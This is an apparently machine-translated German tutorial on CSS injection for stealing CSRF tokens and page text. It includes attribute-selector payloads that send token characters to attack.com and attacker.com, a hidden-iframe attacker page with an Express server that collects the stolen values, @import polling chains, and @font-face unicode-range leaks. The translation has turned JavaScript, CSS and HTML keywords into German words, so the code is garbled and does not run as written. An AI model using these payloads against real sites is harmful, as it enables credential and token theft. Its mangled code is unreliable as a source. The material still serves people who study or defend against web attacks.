Zusammenfassung des Wissens zu CSS-Injection

Zusammenfassung des Wissens zu CSS-Injection

Moderne Browser erlauben nicht mehr, JavaScript in CSS auszuführen. In der Vergangenheit konnte CSS-Injection das JavaScript-Protokoll verwenden, um JavaScript-Code in url() und expression() auszuführen und so XSS zu erreichen. CSS-Injection ist jedoch immer noch sehr nützlich, um Daten zu stehlen. Lassen Sie uns sie unten einzeln analysieren.

CSS-Injection stiehlt Tag-Attributdaten

Attributselektoren können in CSS verwendet werden, um Tags basierend auf verschiedenen Attributen auszuwählen. Beispielsweise wählt das folgende CSS das p-Tag aus, das ein a-Attribut hat und dessen Wert abc ist.

<style>p[a="abc"]{ Farbe: rot;}</style>
 <pa="abc">Hallo Welt</p>

Attributselektoren können auch bestimmten Merkmalen von Werten entsprechen, z. B. ob sie mit XXX beginnen, mit XXX enden usw.

Mit den oben genannten Eigenschaften können wir Daten in den Seiten-Tag-Attributen stehlen. Wenn csrfToken beispielsweise mit einem bestimmten Buchstaben beginnt, kann der Angreifer über url() benachrichtigt werden, um die erste Ziffer des csrfTokens zu stehlen.

<Stil>
Eingabe[Wert^="0"] {
    Hintergrund: URL (http://attack.com/0);
}
Eingabe[Wert^="1"] {
    Hintergrund: URL (http://attack.com/1);
}
Eingabe[Wert^="2"] {
    Hintergrund: URL (http://attack.com/2);
}
...
Eingabe[Wert^="Y"] {
    Hintergrund: URL (http://attack.com/Y);
}
Eingabe[Wert^="Z"] {
    Hintergrund: URL (http://attack.com/Z);
}
</Stil>

<Eingabename="csrfToken" Wert="ZTU1MzE1YjRiZGQMRmNjYwMTAzYjk4YjhjNGI0ZA==">

Der erste ist Z, dann stiehl den zweiten

<Stil>
Eingabe[Wert^="Z0"] {
    Hintergrund: URL (http://attack.com/0);
}
...
Eingabe[Wert^="ZZ"] {
    Hintergrund: URL (http://attack.com/Z);
}
</Stil>
<Eingabename="csrfToken" Wert="ZTU1MzE1YjRiZGQMRmNjYwMTAzYjk4YjhjNGI0ZA==">

Löse versteckte

Natürlich gibt es immer noch ein Problem. Wenn der Tag type=hidden , erlaubt uns der Browser nicht, background festzulegen, sodass wir die URL()-Anfrage an den Server nicht auslösen können.

Eine Lösung besteht darin, den CSS-Geschwisterselektor ~ zu verwenden, um den Hintergrund für alle nachfolgenden Geschwisterknoten festzulegen.

Eingabe[Wert^="Z"] ~*{
    Hintergrund: URL (http://attack.com/Z);
}

Batch-Implementierung

Wenn die Anzahl der Ziffern kürzer und die Möglichkeiten geringer sind, können wir sie natürlich alle auflisten, aber normalerweise sind es zu viele, sodass wir Tricks anwenden müssen, um sie in Stapeln zu erhalten.

Nehmen wir an, dass die Zielwebsite mit CSS-Injektion wie folgt aussieht und das Ziel darin besteht, den csrfToken-Wert im Eingabetag zu stehlen.

<!DOCTYPE html>
<html>
<Kopf>
    <title>CSS-Injektion</title>
</Kopf>
<Text>
<Eingabetyp=versteckter Name="csrfToken" Wert=<?=md5(Datum("h"))?>>
<Eingabetyp="" Name="">
<Stil><?php echo $_GET['css']?></Stil>
</body>
</html>

Mit iFrame

Wenn der Antwortheader einer Website mit CSS-Injektion nicht durch X-Frame-Options geschützt ist, können wir eine bösartige Seite erstellen, mithilfe von JS ein Iframe erstellen, das die anfällige Website enthält, mithilfe von CSS-Injektion einen csrfToken-Wert erhalten und ihn über url() an den Server senden. Der Server weist das Front-End-JS an, mit der Erstellung eines Iframes fortzufahren, um den zweiten Wert zu stehlen, und den obigen Vorgang fortzusetzen, bis alle gelesen sind. Voraussetzung hierfür ist natürlich, dass sich der Inhalt der anfälligen Website nicht bei jeder Anforderung ändert.

Hier gibt es ein Problem. Wie weist der Server das Front-End-JS an, das CSS zu konstruieren? Genau wie im obigen Beispiel gilt: Wenn das erste gestohlene Bit Z ist, dann sollte die zweite Nutzlast mit Z beginnen.

Die folgende Nutzlast stammt von https://medium.com/bugbountywriteup/exfiltration-via-css-injection-4e999f63097d

Die Idee besteht darin, dass das Front-End-JS „setTimeout“ verwendet, um den Server regelmäßig anzufordern, und der Server das durch Einfügen von CSS erhaltene Token zurückgibt.

<html>
    <Stil>
        #Rahmen {
            Sichtbarkeit: versteckt;
        }
    </Stil>
    <Text>
        <div id="aktuell"></div>
        <div id="Zeit bis zum nächsten"></div>
        <div id="Rahmen"></div>
    </body>
    <Skript>
        vuln_url = "http://127.0.0.1:8084/vuln.php?css=";
        server_receive_token_url = "http://127.0.0.1:8083/receive/";
        server_return_token_url = "http://127.0.0.1:8083/return";

        Zeichen = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".split("");
        bekannt = "";

        Funktion test_char (bekannt, Zeichen) {
            //Entferne alle Frames
            document.getElementById("frames").innerHTML = "";

            // Ergänze die Zeichen mit den bekannten Zeichen
            css = build_css(chars.map(v => bekannt + v));

            // Erstellen Sie ein Iframe, um den Angriff zu versuchen. Wenn `X-Frame-Options` dies blockiert, können Sie eine neue Registerkarte verwenden ...
            Rahmen = Dokument.ErstellenElement("iframe");
            frame.src = vuln_url + css;
            frame.style="sichtbarkeit: versteckt;"; //muss hinterhältig sein, so wie
            document.getElementById("frames").appendChild(frame);

            // in 1 Sekunde, nachdem der Iframe geladen wurde, prüfen, ob wir schon eine Antwort erhalten haben
            setzeTimeout(Funktion() {
                var oReq = neue XMLHttpRequest();
                oReq.addEventListener("laden", bekannter_Listener);
                oReq.open("GET", server_return_token_url);
                oAnforderung.send();
            }, 1000);
        }

        Funktion build_css(Werte) {
            css_nutzlast = "";
            für(var Wert in Werte) {
                css_payload += "Eingabe[Wert^=\""
                    + Werte[Wert]
                    + "\"]~*{Hintergrundbild:URL(" 
                    + Server-Empfangstoken-URL
                    + Werte[Wert]
                    + ")%3B}"; //kann kein echtes Semikolon verwenden, da dies in einer URL eine Bedeutung hat
            }
            css_payload zurückgeben;
        }

        Funktion bekannter_Listener () {
            document.getElementById("current").innerHTML = "Aktuelles Token: " + this.responseText;
            wenn(bekannt != dieser.AntwortText) {
                bekannt = dieser.AntwortText;
                test_char(bekannt, Zeichen);
            } anders {
                bekannt = dieser.AntwortText;
                alert("CSRF-Token ist: " + bekannt);
            }
        }

        test_char("", Zeichen);
    </Skript>
</html>

Der Servercode wurde von mir passend zu seiner Nutzlast geschrieben.

var express = erforderlich('express');
var app = express();
var Pfad = erforderlich('Pfad');
var token = "";

app.get('/empfangen/:token', Funktion(erfordert, res) {
    Token = erforderlich.Params.Token;
    konsole.log(token)
    res.send('ok');
});

app.get('/return', Funktion(req, res){
    res.send(token);
});

app.get('/client.html', Funktion(req, res){
    res.sendFile(Pfad.join(__dirname, 'client.html'));
})


var server = app.listen(8083, function() {
    var Host = Server.Adresse().Adresse
    var port = server.adresse().port
    console.log("Beispiel-App lauscht unter http://%s:%s", Host, Port)
})

Eine andere Methode besteht darin, das Token über den Server in ein Cookie zu schreiben und periodisch zu prüfen, ob sich das Cookie geändert hat.

Ich habe auch festgestellt, dass einige Meister WebSocket für eine elegantere Implementierung verwendeten. https://gist.github.com/cgvwzq/f7c55222fbde44fc686b17f745d0e1aa

Kein Iframe

https://github.com/dxa4481/cssInjection Hier ist eine Injektionsmethode ohne Iframe.

Das Prinzip ist auch sehr einfach. Da wir kein Iframe verwenden können, um die anfällige Seite einzuführen, können wir über window.open kontinuierlich ein neues Fenster öffnen, wodurch ähnliche Effekte wie oben erwähnt erzielt werden können. Natürlich muss bei dieser Methode das Klickverhalten des Nutzers gekapert werden, da der Browser sonst das Öffnen eines neuen Fensters verbietet.

Dieser Artikel schlägt auch eine Lösung ohne Hintergrundserver vor, bei der service workers Client-Anfragen abfangen und den erhaltenen Token-Wert im lokalen Speicher speichern.

@Import

Mithilfe der @import-Funktion in Chrome wird diese Methode in diesem Artikel vorgeschlagen: https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b Der Vorteil dieser Methode besteht darin, dass Sie alle Token abrufen können, ohne die Seite zu aktualisieren, und dass kein Iframe erforderlich ist. Der Nachteil besteht jedoch darin, dass sie nur in Chrome verwendet werden kann und entsprechend ihren Eigenschaften in den Header des Style-Tags eingefügt werden muss.

Zusätzlich zum allgemeinen <link> -Tag zum Einführen externer Stile kann CSS auch über @import eingeführt werden.

@import url(http://style.com/css.css);

Aber @import muss zuerst im Stylesheet-Header deklariert werden und das Semikolon ist erforderlich. Das durch @import eingeführte Stylesheet ersetzt direkt den entsprechenden Inline-Stil.

Bei der Implementierung des obigen Effekts berechnet Chrome die anderen Stylesheets der Seite jedes Mal neu, wenn das externe Stylesheet @import zurückgegeben wird. Wir können diese Funktion verwenden, um @import zu verschachteln und das gesamte Token mit einer Anfrage zu erhalten.

Dies ist ein Bild aus seinem Artikel, sehr lebendig.

Diese Abbildung geht davon aus, dass die Länge der zu stehlenden Daten 3 beträgt. Der erste eingefügte CSS-Inhalt ist @import url(http://attacker.com/staging);, was zurückgibt

@import url(http://attacker.com/polling?len=0);
@import url(http://attacker.com/polling?len=1);
@import url(http://attacker.com/polling?len=2);

Zu diesem Zeitpunkt muss die Seite @import url(http://attacker.com/polling?len=0); abrufen und gibt eine Nutzlast zurück, die das Token stiehlt.

@import url(http://attacker.com/polling?len=1); antwortet, nachdem die gestohlenen Daten an den Server gesendet wurden. Die Antwort ist das zweite gestohlene Datenbit …

Der Artikel bietet außerdem ein Open-Source-Tool zum Ausnutzen dieser Sicherheitslücke, das sehr einfach zu verwenden ist.

https://github.com/d0nutptr/sic

Tag-Inhaltsdaten stehlen

Der Diebstahl von Tag-Inhaltsdaten ist relativ problematisch. Im letzten xctf-Finale gab es dazu eine Frage.

Raten mithilfe des Unicode-Bereichs

Gemäß der Idee von https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html können Sie den unicode-range der Schriftbeschreibung von @font-face angeben und den Server benachrichtigen, wenn ein bestimmtes Zeichen vorhanden ist.

<Stil>
@Schriftart{
 Schriftfamilie:poc;
 src: url(http://attacker.example.com/?A); /* abgerufen */
 Unicode-Bereich: U+0041;
}
@Schriftart{
 Schriftfamilie:poc;
 src: url(http://attacker.example.com/?B); /* ebenfalls abgerufen */
 Unicode-Bereich: U+0042;
}
@Schriftart{
 Schriftfamilie:poc;
 src: url(http://attacker.example.com/?C); /* nicht abgerufen */
 Unicode-Bereich: U+0043;
}
#sensible-informationen{
 Schriftfamilie:poc;
}
</Stil>
<p id="sensitive-information">AB</p>

Natürlich erfahren Sie hierdurch nur, welche Zeichen enthalten sind, und es wird bedeutungslos, wenn zu viele Zeichen vorhanden sind. Aber es ist eine gute Idee und kann in bestimmten Situationen nützlich sein.

Ligaturen verwenden

Dies ist die Methode, die xctf-Meister im letzten Jahr zur Lösung von Problemen verwendet haben.

Kurz gesagt ist eine Ligatur eine Kombination aus mehreren Zeichen. Weitere Informationen finden Sie bei Baidu. Hier können wir selbst eine Schriftart erstellen, in der die Breite aller Zeichen auf 0 und die Breite des Ligaturen-Flags sehr groß eingestellt ist. Wenn zu diesem Zeitpunkt flag Zeichenfolge im angegebenen Tag-Inhalt erscheint, wird aufgrund der Breite eine Bildlaufleiste angezeigt. Wenn die Bildlaufleiste angezeigt wird, verwenden Sie url(), um den Server anzufordern.

Auf diese Weise können wir weiter rückwärts raten. Die Einzelheiten zum Erstellen von Schriftarten und Payloads finden Sie hier.

Zusammenfassen

Dies ist das Ende dieses Artikels über die Zusammenfassung des Wissens über CSS-Injektion. Weitere relevante Inhalte zu CSS-Injektion finden Sie in früheren Artikeln auf 123WORDPRESS.COM oder in den verwandten Artikeln weiter unten. Ich hoffe, dass jeder 123WORDPRESS.COM in Zukunft unterstützen wird!

<<:  Schreiben von qualitativ hochwertigem Code – Praxisbuchauszüge zur Web-Frontend-Entwicklung

>>:  Nach der Installation von Apache kann der Dienst nicht gestartet werden (beim Starten des Dienstes wird der Fehlercode 1 angezeigt).

Artikel empfehlen

MySql fügt Daten erfolgreich ein, meldet aber [Err] 1055 Fehlerlösung

1. Frage: Ich habe in diesen Tagen Einfügevorgäng...

So implementieren Sie Reaktionsfähigkeit beim Lernen des Vue-Quellcodes

Inhaltsverzeichnis Vorwort 1. Schlüsselelemente e...

Dieser Artikel hilft Ihnen, JavaScript-Variablen und -Datentypen zu verstehen

Inhaltsverzeichnis Vorwort: Freundliche Tipps: Va...

Ein Artikel zum Verständnis der Verwendung von typeof in js

Inhaltsverzeichnis Base Rückgabetyp String und Bo...

So überprüfen Sie die Festplattengröße und mounten die Festplatte in Linux

Es gibt zwei Arten von Festplatten in Linux: gemo...

SSH-Schlüsselpaare von einer oder mehreren Linux-Instanzen trennen

Schlüsselpaar trennen Trennen Sie SSH-Schlüsselpa...

Prozessdiagramm zur Implementierung des CentOS-IP-Verbindungsnetzwerks

1. Melden Sie sich beim System an und geben Sie d...

Installieren Sie Ubuntu 18 ohne USB-Laufwerk unter Windows 10 mit EasyUEFI

1. BIOS überprüfen Überprüfen Sie zunächst, in we...

Connector-Konfiguration in Tomcat

JBoss verwendet Tomcat als Webcontainer. Die Konf...